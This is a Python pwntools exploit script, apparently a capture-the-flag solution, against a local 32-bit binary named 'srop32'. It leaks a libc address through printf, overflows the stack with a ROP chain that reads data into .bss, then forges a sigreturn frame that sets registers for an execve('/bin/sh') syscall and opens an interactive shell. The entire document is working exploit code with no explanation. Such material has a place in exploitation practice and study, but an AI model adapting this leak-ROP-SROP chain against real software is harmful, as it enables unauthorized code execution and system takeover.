from pwn import *

libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

script = '''
b *vuln+70
b *syscall
'''

p = process('./srop32')
gdb.attach(p,script)

printf_offset = libc.symbols['printf']
syscall_offset = libc.symbols['syscall']
read_offset = libc.symbols['read']
ksigreturn_offset = 0x1cab30
binsh_offset = 0x15ba0b

pppr = 0x8048699
bss = 0x0804a030

p.recvuntil(': ')
libc_base = p.recvuntil('\n')
libc_base = int(libc_base, 16)

libc_base -= printf_offset
syscall = libc_base + syscall_offset
ksigreturn = libc_base + ksigreturn_offset
read = libc_base + read_offset
binsh = libc_base + binsh_offset

log.info("ksigreturn : "+hex(ksigreturn))
log.info("bss : "+hex(bss))

payload = "A"*66
payload += p32(read)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss+0x4)
payload += p32(4)
payload += p32(read)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss+0x8)
payload += p32(4)
payload += p32(ksigreturn)
payload += p32(0x0)

payload += p32(0x0)	# GS
payload += p32(0x0)	# FS
payload += p32(0x2b)	# ES
payload += p32(0x2b)	# DS
payload += p32(0x0)	# EDI
payload += p32(0x0)	# ESI
payload += p32(0x0)	# EBP
payload += p32(bss)	# ESP
payload += p32(binsh)	# EBX	execve_arg
payload += p32(0x0)	# EDX
payload += p32(0x0)	# ECX
payload += p32(0xb)	# EAX	execve_syscall
payload += p32(0x0)	# trapno
payload += p32(0x0)	# err

payload += p32(syscall)	# EIP
payload += p32(0x23)	# CS
payload += p32(0x286)	# eflags
payload += p32(0x0)	# esp_atsignal
payload += p32(0x2b)	# SS

p.send(payload)

sleep(10)
p.send(p32(0xb))
sleep(10)
p.send(p32(binsh))

p.interactive()
